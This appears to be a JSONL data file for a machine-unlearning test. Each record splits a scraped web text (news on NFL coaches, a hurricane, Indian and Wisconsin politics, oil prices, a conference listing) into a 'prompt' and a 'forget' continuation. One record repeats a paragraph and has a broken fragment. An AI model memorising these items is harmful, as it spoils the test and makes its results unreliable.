{"prompt": "Johnson did what he clearly had to do after perhaps the most epic collapse in the Jets\u2019 collapse-filled history. But the uninspiring news conference by Johnson and General Manager Mike Tannenbaum, who seemed to lack detail or conviction about why they fired Mangini and what they wanted in the next coach, certainly did not instill confidence that the Jets were now headed in the right direction. If nothing else, it suggested that Bill Belichick, mocked when he bolted the Jets just as he was about to become their coach, might be even smarter than previously thought. Still, at least Johnson", "forget": "took some action. Jones, incredibly, is sticking to his guns. After his team failed to show up with so much on the line Sunday, he reiterated that Phillips would be back, saying that continuity was the best way to fulfill the team\u2019s potential. That point will be debated from now until the Cowboys go to training camp \u2014 they want continuity from this season? \u2014 but Phillips was one of the lucky ones on the darkest day of every season for coaches. He learned his fate quickly, as did Mangini and Lions Coach Rod Marinelli, who was dismissed early Monday. (Mike Singletary, the coach of the San Francisco 49ers, was given a contract extension Sunday.) Consider Cleveland Coach Romeo Crennel. General Manager Phil Savage was fired right after the Browns lost to the Steelers on Sunday afternoon. Crennel did not get word of his dismissal until Monday morning, spending one final sleepless night with the Browns. Worse, it appears Bill Cowher, Cleveland\u2019s prime target, is not interested in the job. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. In Kansas City, Herm Edwards\u2019s wait for a resolution must feel interminable. Carl Peterson is already gone and the search is on for a new general manager, who will almost certainly want input on who should be the coach. But"}
{"prompt": "\u201cI depart, but the State shall always remain\u201d - King Louis XIV on his deathbed King Louis XIV de Bourbon,following in the political footsteps of Cardinals Richelieu and Mazarin, is strengthening the power of the monarchy to the detriment of the feudal aristocracy. The Thirty Years\u2019 War\u2019s end \u2013 won over an exhausted Holy Roman Empire \u2013 has not brought a stable peace. Spain is still acting aggressively against France\u2019s interests and many German and Dutch princedoms are starting to fear France\u2019s unmatched military power. But despite all the enemies he is facing, internal and external, Louis XIV is strongly", "forget": "inclined to make the Kingdom of France the Arbiter of Europe. Like a Sun determining the orbits of the other minor celestial bodies around it. Le Grand Si\u00e8cle- the \"Great Century\u201d \u2013 has begun! Pike and Shot: Campaigns has been updated! This new version is dedicated to the great military modernization of the French Army - with which the Roi Soleil desired to sustain his absolutism \u2013 the matching military advances of the other European powers, as well as several other great improvements! More specifically : Added \u201cLe Roi Soleil\u201d skirmish module, covering European armies from 1649 to 1698. This adds 37 new army lists and many new unit types to the game. Added these new army lists to the Pike and Shot Campaign to allow it to cover any European conflict from 1494 to 1698. Added new Late Pike and Shot models for Austrian units in Great Turkish War campaign. Used new models for Royalist Edgehill mostly-pike and mostly-musket units. Descriptions added to MP scenarios. Campaigns: Significantly increased chance of defending army fighting either open battle or defending field fortifications rather than retreating when province is invaded. If they fight an open battle against a superior invading force there is a chance they will engage the invader before all his troops have arrived. Campaigns: Improved auto resolution algorithm for defensive (field fortification) battles. Campaigns: Corrected bug in reporting of supply limits for provinces with enemy armies in them. Now correctly reports supply limit that will apply for player armies when the enemy field army has been driven from the province. Corrected sound effect for Szeklers and Lancer Banners shooting. Corrected troop description of Veteran Late Pike & Shot and LG. You can download the update from here Get more information about Pike and Shot: Campaigns from its official Product"}
{"prompt": "Flooding from Hurricane Joaquin will impact areas from South Carolina to Massachusetts regardless of whether it makes landfall or if the center stays out to sea. People should not let their guard down due to a shifting track of the hurricane as the risk to lives and property in this complex situation remains high. A copious amount of moisture will unload very heavy rainfall along parts of the Atlantic Seaboard and the Appalachians into early next week. Strong winds, coastal flooding and beach erosion will occur and could be very damaging even in the absence of a landfall. Hurricane Joaquin", "forget": "strengthened rapidly Wednesday into Thursday. Joaquin reached Category 3 status late Wednesday evening and Category 4 status on Thursday afternoon. JUMP TO: Joaquin Track Scenarios | Inland Flooding | Coastal Flooding, Strong Winds The storm will bring pounding surf, dangerous seas, strong winds, drenching squalls and flash flooding to the central Bahamas. Wind gusts could reach between 75 and 100 mph on some of the islands. As a result, Joaquin will threaten lives and property in the Bahamas into Friday. Bahamasair has canceled flights for Thursday in parts of the islands. Joaquin will turn to the north this weekend. Governors in Virginia, New Jersey and North Carolina have issued a State of Emergency. Other states may follow suit. Joaquin Track Scenarios Joaquin has strengthened significantly and continues to hover near the Bahamas on Thursday. This delay has altered the forecast track. Other weather systems impacting Joaquin will be in slightly different positions as a result. Joaquin will move northward much of this weekend, roughly paralleling the East coast. There is nearly equal possibility the storm will make landfall along the mid-Atlantic coast, the New England coast or veer out to sea. Due to the potential close proximity of the hurricane to the coast, people from the Carolinas to Massachusetts will need to closely monitor the track and strength of Joaquin for high wind and coastal flooding concerns. Should Joaquin make landfall, areas near and north of the center would face the worst coastal flooding and strong winds. If the storm were to make landfall in North Carolina, then it would be on Sunday. If the storm were to turn into Virginia, then it would be on Sunday night. From the Delmarva Peninsula to New Jersey, a landfall would not occur until Monday. If Joaquin fails to make landfall in the"}
{"prompt": "Change is rarely easy, even when it is necessary. As creatures of habit, it takes real dedication and perseverance in order to affect real, lasting change in your life. At first, it\u2019s often a pleasant experience, the change wakes you up out of your stagnation, and it feels like you\u2019re actually living. When commitment wanes, or enthusiasm shrinks, however, it can be easy to fall right back into the habits which needed changing in the first place. One of the best techniques that I\u2019ve found for strengthening resolve is to turn to the wisdom of others. There\u2019s no easier way", "forget": "to start this habit than through these iconic quotes about change and the process of changing, from some of the great thinkers, authors, actors, and politicians or our time. 1. If you don\u2019t like something, change it. If you can\u2019t change it, change your attitude. \u2013 Maya Angelou 2. God grant me the serenity to accept the things I cannot change, the courage to change the things I can, and the wisdom to know the difference. \u2013 Reinhold Niebuhr 3. Change does not roll in on the wheels of inevitability, but comes through continuous struggle. And so we must straighten our backs and work for our freedom. \u2013 Martin Luther King, Jr. 4. For the past 33 years, I have looked in the mirror every morning and asked myself: \u2018If today were the last day of my life, would I want to do what I am about to do today?\u2019 And whenever the answer has been \u2018No\u2019 for too many days in a row, I know I need to change something. \u2013 Steve Jobs 5. It may be hard for an egg to turn into a bird: it would be a jolly sight harder for it to learn to fly while remaining an egg. We are like eggs at present. And you cannot go on indefinitely being just an ordinary, decent egg. We must be hatched or go bad. - C. S. Lewis 6. When we are no longer able to change a situation \u2013 we are challenged to change ourselves. \u2013 Viktor E. Frankl 7. All changes, even the most longed for, have their melancholy; for what we leave behind us is a part of ourselves; we must die to one life before we can enter another. \u2013 Anatole France 8. If you do not change direction, you may"}
{"prompt": "Arvind Kejriwal\u2019s Aam Aadmi Party sure knows how to remain in news. Always. Decibel levels in the already chaotic capital have risen manifold since the advent of AAP into power. Not a day passes without its Supremo hurling foul invective and abuse at the Prime Minister or other central leaders. Playing victim, Kejriwal pretends as if the world is out to get him, a good man fallen among crooks. The truth, however, is quite contrary to his pretensions. He is as adept in playing the politics of deceit and hoodwinking as the best among the traditional politicians. Promises of new", "forget": "politics, a new beginning, were completely bogus. AAP is in the single-minded pursuit of power for its own sake. And to attain power it is willing to do whatever older practitioners of party politics have been doing for decades. In sum, it is a mistake to trust AAP to play normative politics. Whether it is the use of black money, or the abuse of government funds for self-promotion, in a short span of time AAP has proved that it can outsmart the older players by most brazenly cutting moral and legal corners. AAP is no different from, say, the Congress or the BJP. Period. Take the latest controversy in which it has embroiled itself but, typically, holds everyone else and not itself responsible. Appointment of 21 MLAs as parliamentary secretaries in a House of mere 70 members was in itself a constitutional atrocity. Full-fledged States with the strength of the bicameral legislature running in several multiples of the total strength of the Delhi Assembly have not had as many parliamentary secretaries. Besides, there is a specific constitutional bar on the Delhi Government, a B-category State, having more than ten percent of its MLAs as ministers. In other words, Delhi can have seven ministers, including chief minister. And the same law also stipulates that Delhi can have only one parliamentary secretary and no more. Now, why did Kejriwal appoint 21 when there was a specific prohibition against more than one parliamentary secretary? The truthful answer is that he feared that a number of AAP MLAs would join hands with the Prashant Bhushan-Yogendra Yadav duo whom he had expelled from the party last year for no particular reason than the fact that the two did not endorse his opportunistic, power-hungry politics. In order to prevent a split in the AAP legislature party,"}
{"prompt": "William Barret \"Buck\" Travis (August 1, 1809 \u2013 March 6, 1836) was a 19th-century American lawyer, soldier and freemason. At the age of 26, he was a lieutenant colonel in the Texas Army. He died at the Battle of the Alamo during the Texas Revolution. Travis County and Travis Park were named after him for being the commander of the Republic of Texas at the Battle of the Alamo. Early life Ancestry, early years, and education Travis's grandfather, Berwick (also known as Barrett) Travis, came to the British Colonies of North America at the age of 12, where he was", "forget": "placed in indentured servitude for more than a decade. Berwick's ancestors came to North America in the late 1600s, and Berwick's (Barrett's) grandfather was born in Perquimans, North Carolina but went back to the United Kingdom for his medical training. A descendant of the Travers of Tulketh Castle in Preston, England, Berwick had a life that hardly resembled his ancestor's glory and wealth. After working his period of servitude, he traveled south to the colony of South Carolina, where he received a grant of over 100 acres of land in what is now Saluda County, South Carolina.[3] A year later, he married Anne Smallwood, and they lived out their lives there. They had four daughters and three sons, including Mark Travis and the Baptist missionary Alexander Travis. Mark Travis married Jemima Stallworth on June 1, 1808.[4] She gave birth to William Barret Travis on August 1, 1809. Records differ as to whether his date of birth was the first or ninth of August, but his youngest brother James C. Travis, who was in possession of the Travis family Bible at the time of his statement, indicated that William was born on the first. Mark and Jemima had nine other children over the next twenty years. Travis's uncle Alexander migrated to the new territory of Alabama following the War of 1812, settling in modern-day Conecuh County. He urged his brother and family to come join him, where he said that the land was cheap and easy to acquire, so Mark took his family, including young William, then age 9, to Alabama. They settled in the newly forming town of Sparta, where Mark Travis purchased the very first certificate from the Sparta Land company.[5] Young Travis grew up in Sparta, and while his father tended to the farming, his uncle Alexander became"}
{"prompt": "By DeciBio \u2022 April 11, 2014 Los Angeles, CA April 11th 2014 \u2013 Several exciting themes were presented at this year\u2019s American Association of Cancer Researchers (AACR) meeting. Large pharmaceutical companies including Pfizer, Eli Lilly and Merck presented some exciting data on their oncology pipeline (CDK 4/6 inhibitior, palbociclib and PD-1 agents). The dominant undercurrents focused on cancer heterogeneity, identifying and treating sub-clonal populations of cancer cells which lead to therapy resistance, and immunotherapy / immuno-oncology. Major technological advancement in these areas is expected in the next few years as these approaches make their way into patient care. Noteworthy emerging", "forget": "technologies in this space are high throughput massively parallel cell characterization approaches. Garry Nolan presented very interesting work using antibodies labeled with heavy metals followed by mass spectroscopy (mass cytometry) to study the expression of several hundred proteins simultaneously across thousands of cancer cells. This technology identified subclonal populations and internal signaling networks within the subclones that may have treatment ramifications. This technology is being commercialized and is currently in use in several pharmaceutical companies. With that said, NGS remains front and center. Researchers have appreciated for many decades that tumors contain subpopulations of genetically distinct clones, some of which are resistant to treatment. Only recently with the advent of next generation sequencing (NGS) technologies have researchers been able to study these populations in great depth. It was clear at the conference that the push towards NGS continues for oncology researchers. This is demonstrated by the large number of grants offered by the Pancreatic Cancer Action Network (PCAN) and AACR this week, as part of a ~$5M \u201cfunding round\u201d. There remains a divide in the platform world between the whole exome / genome camp (dominated by Illumina) and the targeted panel camp (apparently much more competitive, with Ion giving Illumina a run for its money). Several researchers commented in talks that their targeted panels were so small and they were doing only one patient at a time so \u201cIon just makes sense for us\u201d. Illumina seems to be reinforcing this notion. Illumina representatives consistently emphasize the need for more whole genomes. Purchasers of the X10 systems will find themselves contractually obligated to use them only for whole genome analysis. Illumina reps believe that whole genomes is the direction the market needs to go. When asked about targeted panels Illumina acknowledged that they face stiff competition in this space. For example,"}
{"prompt": "One version of the new Celtics logo the team will begin using this season. A couple of years ago, the Celtics turned their office on Causeway Street, near TD Garden, into a pseudo museum detailing the franchise\u2019s history, with pictures and memorabilia covering nearly every square inch of space. And down one hallway, all the Celtics logos dating to the team\u2019s founding in 1946 were splashed on the wall, each carrying the story behind its origin. Those stories sparked an idea for something new with a touch of the past, and after 18 months of work, that idea will debut", "forget": "this week: a new alternate logo. Advertisement Created in-house, the logo, which is known as the \u201cLucky Alternate,\u201d pays homage to the early 1960s illustration created by Celtics patriarch Red Auerbach\u2019s brother, Zang, a former editorial and sports artist for newspapers in Washington. Get Sports Headlines in your inbox: The most recent sports headlines delivered to your inbox every morning. Sign Up Thank you for signing up! Sign up for more newsletters here It features the classic image of Lucky the leprechaun spinning the ball on his finger, only in white silhouette against a green backdrop, encircled by the words \u201cBOSTON\u201d and \u201cCELTICS\u201d in white. \u201cIt\u2019s such an iconic silhouette that people, when they see it, they\u2019ll know exactly what it is,\u201d said Shawn Sullivan, the team\u2019s chief marketing officer. The logo will first be used on adidas team apparel and merchandise on sale through the team\u2019s online store beginning this month. Celtics season ticket-holders and corporate partners can also buy apparel featuring the new alternate logo two days before products are released to the general public. Advertisement Keith Sliney, the Celtics\u2019 creative director and the logo\u2019s designer, stressed that it won\u2019t be replacing their main logo, nor are there immediate plans to place it on game jerseys. \u201cWe think of it more as extending the Celtics brand,\u201d Sliney said. \u201cOur existing logos are not changing. This alternate is an additional emblem for us to use on everything from print to web to fabric. It\u2019s very flexible.\u201d One of the reasons the Celtics decided to create a new logo was, Sliney said, it had been 16 years since the team had debuted its last new logo, a secondary shamrock. \u201cWe thought it was a good time to create a mark, something new, something fresh, yet with a lot of history"}
{"prompt": "In my next blog I will continue with how I applied the practical steps of walking through anxiety, and how I was able to successfully avoid an anxiety reaction in one of the circumstances . This experience has changed my entire self-experience, opened up a new understanding of how things can be different, and showed me that it IS possible to learn how to become the master of one\u2019s emotions, and no longer remain the slave.\" I , sporadic, chaotic and intense. This detail is important to remark because we can use this information to see, realize and understand the", "forget": "best way to approach ourselves when we are in these situations (beginning an anxiety reaction). If, for example, we are too hard on ourselves, the anxiety energy can and will use this approach to further intensify itself. If we panic, it can also serve to fuel the anxiety. If we become mad or frustrated, it can perpetuate the anxiety. f you can recall and bring up the experience of anxiety within self, you can probably relate to that fact that the energy experience is, as the interview describes, sporadic, chaotic and intense. This detail is important to remark because we can use this information to see, realize and understand the best way to approach ourselves when we are in these situations (beginning an anxiety reaction). If, for example, we are too hard on ourselves, the anxiety energy can and will use this approach to further intensify itself. If we panic, it can also serve to fuel the anxiety. If we become mad or frustrated, it can perpetuate the anxiety. It\u2019s as if a child is throwing a tantrum and the parent screams at the child in an attempt to subdue or control him to make it stop. This can further upset the child and fuel/perpetuate the tantrum. Now compare this to speaking in a calm and stable manner to the child, this may not be an instant blanket solution, but it will not further aggravate the situation, and the child can be talked down slowly, and the tantrum can not last forever. Anxiety within self functions in the same way. This example demonstrates how our self-approach can either assist and support ourselves to walk through and out of the anxiety in a calm and stable manner, or conversely, how it can further perpetuate the experience if we do not take"}
{"prompt": "For two weeks, DC Comics fans have nervously awaited some official word to debunk the swirling rumors that Batman v Superman: Dawn of Justice was causing worry at Warner Bros. and the possibility Justice League: Part 1 would wind up cancelled. This weekend, I ran a story explaining why fans can relax because Batman v Superman is likely to be a big hit, and that the rumors are exaggerations mixed with speculation and errors. Today, director Zack Snyder himself drove the final nail in those rumors' coffin, when he gave Entertainment Weekly the exclusive confirmation that he will begin shooting", "forget": "Justice League soon. The official start date for filming is April 11. With Batman v Superman a mere four and a half weeks from release, Suicide Squad hitting theaters in August of this year, and Wonder Woman already filming, the notion Warner was somehow on the verge of pulling the plug on their plans to rethink it all was more than a little ridiculous. Especially so when, by all accounts, most of Batman v Superman is earning not just approval but rave reactions. Batman and Lex Luthor in particular are said to be home runs, with some even suggesting this could be the best live-action Batman yet. Wonder Woman likewise met with enough approval to get her own movie put right into production (we might see a teaser trailer with Batman v Superman in a few weeks). Superman appears to be a return of Henry Cavill's well-received portrayal from Man of Steel but with even more of the familiar elements and comic-faithful daily life, costume, and even the curl. EW also confirmed something many of us have already known for a while -- Batman v Superman features cameos by the Flash, Aquaman, and Cyborg. Snyder is already in Europe getting ready for the start of filming on Justice League, which by the way kicks off only 15 short days after Batman v Superman's opening weekend. Today's announcement makes clear the overall confidence Warner has in Batman v Superman, the DCU plans in general, and Zack Snyder. After this, it'll be hard for anyone to be taken seriously when asserting there's any lingering case of significant nervousness about how Batman v Superman will perform or be received by audiences. It's confidence well-earned, of course, in light of the fact this is just one of two movies featuring Batman in 2016, followed"}
{"prompt": "\u2022 Scaffolds \u2022 Cord Blood & Regenerative Medicine \u2022 Bone and Cartilage Tissue Engineering \u2022 Stem Cells-Tools to Battle Cancer \u2022 Novel Approaches in Guided Tissue Regeneration \u2022 Clinical Medicine \u2022 Clinical Trials with Stem Cells \u2022 Biomaterials and Bioengineering \u2022 Tissue Biomarkers \u2022 Regeneration and Therapeutics \u2022 Rejuvenation \u2022 Immunotherapy \u2022 Stem Cell Treatment for Diabetes \u2022 Applications of Tissue Engineering and Regenerative Medicine \u2022 Bioreactors in Tissue Engineering \u2022 Biochips and Tissue Chips \u2022 Cancer Stem Cells \u2022 Tissue Regeneration \u2022 Advances in Stem Cell \u2022 Materials and Designs for Tissue Engineering \u2022 Tissue Engineering and 3D Printing", "forget": "\u2022 Whole Organ Engineering and Approaches \u2022 Stem Cell Engineering (SCE) Conference Series llc LTD is a World\u2019s leading Event Organizer that organizes 1000+ Global Events inclusive of 300+ Conferences, 500+ Upcoming and Previous Symposiums and Workshops in USA, Europe & Asia with support from 1000 more scientific societies and publishes 700+ Open access journals which contains over 30000 eminent personalities, apparent scientists as editorial board members. Conference Series llc LTD invites all claimants to attend \u201c 12 th International Conference on Tissue Engineering & Regenerative Medicine \u201d which is going to be held during November 11-12, 2019 at Madrid, Spain mainly focuses on two key topics viz. Tissue Engineering and Regenerative Medicine with basic theme \u201c Regenerative Medicine: Power to Repair, Rejuvenate, Renew \u201d. Sessions & Tracks Scaffolds Scaffolds are one of the three most important essentials constituting the basic concept of Regenerative Medicine, and are included in the core technology of Regenerative Medicine. Every day thousands of surgical procedures are done to replace or repair tissue that has been damaged through disease or trauma. The developing field of tissue engineering (TE) aims to regenerate damaged tissues by combining cells from the body with highly porous scaffold biomaterials, which act as templates for tissue regeneration, to guide the growth of new tissue. Scaffolds has a prominent role in tissue regeneration the designs, fabrication, 3D models, surface ligands and molecular architecture, nanoparticle-cell interactions and porous of the scaffolds are been used in the field in attempts to regenerate different tissues and organs in the body. The world stem cell market was approximately 2.715 billion dollars in 2010, and with a growth rate of 16.8% annually, a market of 6.877 billion dollars will be formed in 2016. From 2017, the expected annual growth rate is 10.6%, which would expand the market"}
{"prompt": "Tim Hudak is promising to get the government \"out of business's hair\" by abolishing the College of Trades and shaving away regulations on workers. Standing in a salon east of Toronto, the Progressive Conservative Leader said he would immediately get rid of the body, which regulates over 100 different occupations from hairdressers to bakers. \"We don't need an expensive government bureaucracy to tell people where to get their hair cut,\" he said Tuesday. \"Government's job is not to keep bureaucrats busy. It's to focus on what's important like health care and education.\" Story continues below advertisement The College of Trades'", "forget": "defenders say the organization is necessary to enforce standards in the skilled trades and protect consumers from subpar tradespeople. But Mr. Hudak contends it is simply a useless layer of red tape that is unfairly limiting the number of people who can get into the trades. He pointed to a written exam hairdressers must take to get a licence, as well as a fee salons must pay, as unnecessary measures. \"It's getting in the way of people here in this room with a new tax that will toss them out of work,\" he said. Hairstylist Kailan Ambrose, 30, who attended Mr. Hudak's event, said she has been working as a hairdresser for seven years but could now lose her licence after failing the written test six times. \"It's breathtaking, it's very hard, it's a struggle,\" said Ms. Ambrose, the married mother of a three-year-old. \"This is what I want to do for the rest of my life.\" Mr. Hudak is running on a platform of cutting the size of government, which includes eliminating 100,000 public sector jobs and doing away with one-third of all regulations on business. Story continues below advertisement Story continues below advertisement The Liberals, for their part, unveiled a new promise in their platform Sunday to appoint a special advisor to review the College of Trades' application process and how the new regulations are enforced. They will hold off on certification of new trades while the review is happening. Campaigning in Sault Ste. Marie at a Catholic school on Tuesday, Ms. Wynne attacked Mr. Hudak for being too much like former PC premier Mike Harris. Mr. Harris appeared on television Monday to say he had a \"pretty good\" record as the province's leader and that the Liberals are only dredging up his history to avoid talking about"}
{"prompt": "University professors in New Brunswick are asking St. Thomas University to withdraw its offer to host CTV's leaders' debate on Thursday unless the leaders of all five political parties in the New Brunswick election campaign are allowed to participate. St. Thomas University professor Jean Sauvageau is the president of the Federation of New Brunswick Faculty Associations. He says STU should withdraw from hosting a leaders' debate on CTV unless all five provincial parties are invited to attend. (CBC) The debate format will see only the leaders of the Progressive Conservative, Liberal and New Democratic parties take part. Jean Sauvageau, the", "forget": "president of the Federation of New Brunswick Faculty Associations, has asked CTV to also invite Green Party Leader David Coon and People's Alliance Leader Kris Austin to take part in the debate. If CTV doesn't open the debate to all the party leaders, Sauvageau asks that \"STU refuses to partake in this undemocratic undertaking and withdraws its offer to host the debate.\" \"STU's decision to accept the request of CTV to host a debate which limits the number of leaders to three, as opposed to all five, flies in the face of the true spirit of democracy,\" states Sauvageau in a letter to St. Thomas University president Dawn Russell. \"In light of the extremely varied electoral platforms advocated by the parties, each one having crucial implications for the future of New Brunswick, there are no valid reasons that justify CTV's arbitrary decision to exclude two leaders nor are there any reason that justify STU's decision to host such an undemocratic debate,\" says Sauvageau, who is also a professor at STU. Universities are places where debates are allowed to flourish and where all voices can express their point of view - Jean Sauvageau, president of Federation of Faculty Associations of New Brunswick \"It is most egregious to see STU, an institution of higher learning, accept to host this debate on its campus. Universities are places where debates are allowed to flourish and where all voices can express their point of view,\" states Sauvageau. \"CTV\u2019s arbitrary exclusion of two legitimately recognized party leaders sends an unsavoury message to everyone about the value and desirability of democracy in New Brunswick. \"More to the point about hosting the debate on a university campus, what message does it send to students about democratic participation, critical thinking and inclusiveness? Those are values that cannot be parsimoniously"}
{"prompt": "Gregor Terjung is 87 and has been coming to his West Seattle junction store nearly every day since he bought the business in 1968. Patrick Robinson No website, no Facebook page, not even an email account. No advertising, no special sales, no marketing. Yet ever since 1968 Gregor Terjung has made his Terjung's Studio of Gifts in the West Seattle Junction a success. Now 87, he says he's thinking about retirement noting that he has a son in law that retired at 65. But that day is a ways off, since for he and his daughter Gail, the shop is", "forget": "a labor of love. Competing in a world seemingly dominated by digital sales would seem next to impossible, but the store relies on the power of immediacy (no waiting for delivery), sentiment (most of the items in the store are meant to be given from one person to another, not sent via truck), and relationships. Not just between his customers and their families and friends but with the community at large. Terjung has such a long history, that the vast majority of his customers are people who have shopped with him for decades. He's been in business for 48 years. At Terjung's you will find a huge assortment of greeting cards from eight different vendors, small toys, items for baby showers, wedding showers, ribbon, candies, a good sized selection of small stuffed animals, an assortment of marmalades and tea accessories, and surprisingly, a selection of magic tricks and magic DVD's to train the budding magician. The store also has some hand made aprons and tiny gift boxes that are unique to Terjung's because they are things he made himself. It's a store primarily based on the heart to heart communication between family, friends and loved ones. Somehow, clicking on a website to buy something and have it shipped lacks that personal touch. It's likely why Terjung's has not just survived but thrived. He was in the Army, serving at Fort Lewis, joining in 1948 when he graduated High School and \"missed everything\" meaning the gap between the end of World War II and the Korean conflict was his service window. He met his wife of 67 years, Gloria in Seattle through a friend who had moved here. She does the bookwork for the store at home. His secret to a good marriage is to \"just try to get along, She"}
{"prompt": "Jennifer Tress begins a presentation at George Mason University with a photograph of her 13-year-old self. She has written a book titled \"You're Not Pretty Enough: You Can\u2019t Make Up Real Life.\" (Katherine Frey/THE WASHINGTON POST) Jennifer Tress can\u2019t change who is on the cover of Cosmo. She can\u2019t stop college guys from sharing links from BroBible and Hot or Not. But she can sit in your university\u2019s common room and tell you how her husband cheated on her because, he said, she wasn\u2019t \u201cpretty enough.\u201d And she will tell you how years after their divorce his painful words led", "forget": "her to become what she calls \u201can accidental body-image activist.\u201d Tress, a consultant for the federal government by day, is bringing her multimedia salons on self-esteem to 100 colleges over the next few months. You\u2019re not pretty enough. It\u2019s not a nice thing to say, or hear, as Tress knows. It\u2019s almost the reverse message of the soundtrack to soothe low self-esteem that college students are used to: One Direction crooning \u201cYou\u2019re insecure / Don\u2019t know what for / You\u2019re turning heads when you walk through the door,\u201d or Bruno Mars promising \u201cYou\u2019re amazing / Just the way you are.\u201d To Tress, these fluffy anthems of self-acceptance are useful but not as powerful as confronting your shortcomings with honesty. That\u2019s what she offers in her meetings with college students \u2014 a chance to talk about societal expectations of beauty, why they\u2019re hurtful and also tough to ignore, and what to focus on instead. Tress\u2019s college tour coincides with the publication of her book of comic stories,\u201cYou\u2019re Not Pretty Enough: You Can\u2019t Make Up Real Life.\u201d The book has a retro-looking photograph of her 13-year-old self on the cover, sporting alarmingly bushy eyebrows and a frizzy mullet. Now 42, Tress regularly has her eyebrows waxed. She has thick, frizz-free brown hair that flows over her shoulders, clear skin and a pleasant smile. She\u2019s, well, pretty. \u201cI have been 20, even 40 pounds heavier than this. I like to eat. I like to drink,\u201d she offers while setting up for one of her salons last month at George Mason University in Arlington. \u201cWhen people hear what I\u2019m doing, they say, \u2018I don\u2019t know, Jen, you are pretty, so should you do this?\u2019 \u201d She relates this anecdote with the breezy confidence of a woman who once had a bad spell, has come"}
{"prompt": "There is mounting evidence that oil prices are poised to rebound from a historic bust. Rig counts hit new lows each week. For the week ending on April 17, Baker Hughes says the U.S. lost an additional 34 oil and gas rigs, bringing the total down to 954. Domestic crude oil production appears to have plateaued and the EIA expects a contraction in May. Nearly every driller is dramatically scaling back spending, which should increasingly cut into new output. And oil consumption is finally picking up, as drivers far and wide take advantage of cheap fuel. But what if the", "forget": "bust is not over yet? Despite the signs of a rebound, ExxonMobil\u2019s CEO Rex Tillerson has a much more bearish take on oil prices. Speaking at the IHS CeraWeek conference in Houston, Tillerson predicted that oil prices would remain subdued for the next several years. While the longer-term is harder to predict, there is quite a bit of evidence to suggest that oil prices may not rise much higher than where they are right now in the short-term. For one, crude oil inventories continue to build. Although the stock build has slowed in recent weeks, it is still dramatically higher than the five-year average. Until production slows to the point that consumers are drawing down inventories faster than they can be replaced, oil prices have little room to rise. The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now Another significant factor that could limit any further increases in oil prices is the enormous backlog of wells awaiting completion. Since most of the value of oil and gas coming out of shale occurs in the first few months of production, drillers are avoiding completing hundreds of wells because selling into the current low-price environment would earn them a lot less cash than if they wait until prices rise again. As a result, there is a vast collection of shale wells that will be completed once oil prices increase (an estimated 900 in North Dakota alone), which could bring a flood of new production online. The effect on prices is debatable, but the CEO of ConocoPhillips thinks it could send oil prices down once again. \u201cIf you get a price signal, you\u2019ll see more supply come on,\u201d ConocoPhillips Ryan Lance said at CeraWeek. \u201cThat certainly has the opportunity to exacerbate"}
{"prompt": "At 26, Ali Bryant is still scared of the dark. Her brother, Austin Bryant, knew that. The night before he was killed, he was in her room being the little brother older sisters tend to have: annoying. He\u2019d grab at her feet as she slept to frighten her or put his feet in her face just to mess with her. Ali smiled at the thought. Today, her brother\u2019s ashes rest in a red, metallic urn on the dresser across from the foot of her bed as she sleeps. \"Sometimes I feel a breeze of wind blow past me or someone", "forget": "messing with my foot and I know it\u2019s my brother. And I\u2019ll be like, \u2018OK, Austin. I get it,\u2019\" she said, laughing. \"It\u2019s just things like that that let me know (he\u2019s there).\" Sunday marked the one-year since 20-year-old Austin Bryant was shot and killed by the intersection of Military Trail and Purdy Lane near Flashdance, according to the Palm Beach County Sheriff\u2019s Office. Investigators say a fight broke out during the early hours of April 16, someone pulled a gun and shot Austin outside the strip club. He was found dead at the scene. No arrest has been made. Crime Stoppers of Palm Beach County is offering a $1,000 reward for information in the case. Those with information are asked to call 800-458-TIPS (8477). For Ali, a year later means less pain, more anger. Why did they shoot her brother? Why do they get to go home to their family and sleep at night? When does Austin get justice? \"No one deserves to die like that. No one,\" she said. \"Someone knows who did this. They need to come forward.\" For Austin\u2019s mother, Kristina Bryant, there\u2019s still a lot of pain. She misses her son\u2019s calls during they day and still waits for his 6-foot frame to fill the doorway of his grandmother\u2019s home just north of Lake Park where she and her daughter live. She can smile at those thoughts now. But in those first few months after her son was killed, she didn\u2019t stop crying. She lost her job as a nurse and couldn\u2019t go outside most days. \"The loss of a child doesn\u2019t come with a handbook. You just try to do what you think is right,\" she said. \"I brought two kids into this world, and now when I wake up, there\u2019s one. It just"}
{"prompt": "Anti-Koch signage in Wisconsin MADISON, Wis.\u2014The standoff over the Budget Repair Act is about the portions of the legislation that scale back union rights. That\u2019s how it started. That\u2019s why the AFL-CIO, SEIU, AFT, and every other union with a bus is at the capitol. But many of the protesters think it\u2019s about something more insidious. On the walk into the capitol today, I saw these six signs in the space of 10 minutes: Scott, How Much KOCH Have You Done? Scott Walker is a KOCH Whore CONFIRMED: Walker and Koch, Brothers With Bats KOCH-SUCKERS Drunk With Power\u2014High on Koch", "forget": "Recall Koch Bro\u2019s \u201cPuppets\u201d\u2014\u201dScott Walker\u201d & \u201cRepublicans\u201d None of the protesters knew the other, but some of them bonded over their obsession: the influence of David and Charles Koch, two of the wealthiest men in America, donors to a bouquet of libertarian and Tea Party causes. Amy Janczy, from Lake Mills, Wis., carried the \u201cDrunk With Power\u201d sign; David Wend, from Madison, carried the \u201cPuppets\u201d sign. They stopped to talk. \u201cI\u2019ve been doing a lot of reading about the Kochs,\u201d explained Wend. \u201cI read the legislative summary of the Budget Repair Act,\u201d explained Janczy, \u201cand saw the stuff in there about the giveaways for the power plants. I saw the Kochs\u2019 fingerprints on that.\u201d She was talking about Section 16.896 of the bill, which empowers Gov. Scott Walker to \u201csell any state-owned heating, cooling, and power plant or may contract with a private entity for the operation of any such plant, with or without solicitation of bids.\u201d That section started to get attention on Monday; by this morning, Democrats in the state Assembly were using the floor time allotted to them in their quasi-filibuster to ask whether the Kochs were behind it, or interested in buying the plants. Madison\u2019s liberal Capital Times newspaper got a flat denial of that claim. \u201cWe have no interest,\u201d said Philip Ellender, Koch Companies\u2019 president of government and public affairs, \u201cin purchasing any of the state-owned power plants in Wisconsin and any allegations to the contrary are completely false.\u201d I pointed this out to Janczy. \u201cWell,\u201d she said, \u201cthey may say that, but I don\u2019t believe it.\u201d When it comes to the Kochs, progressives in 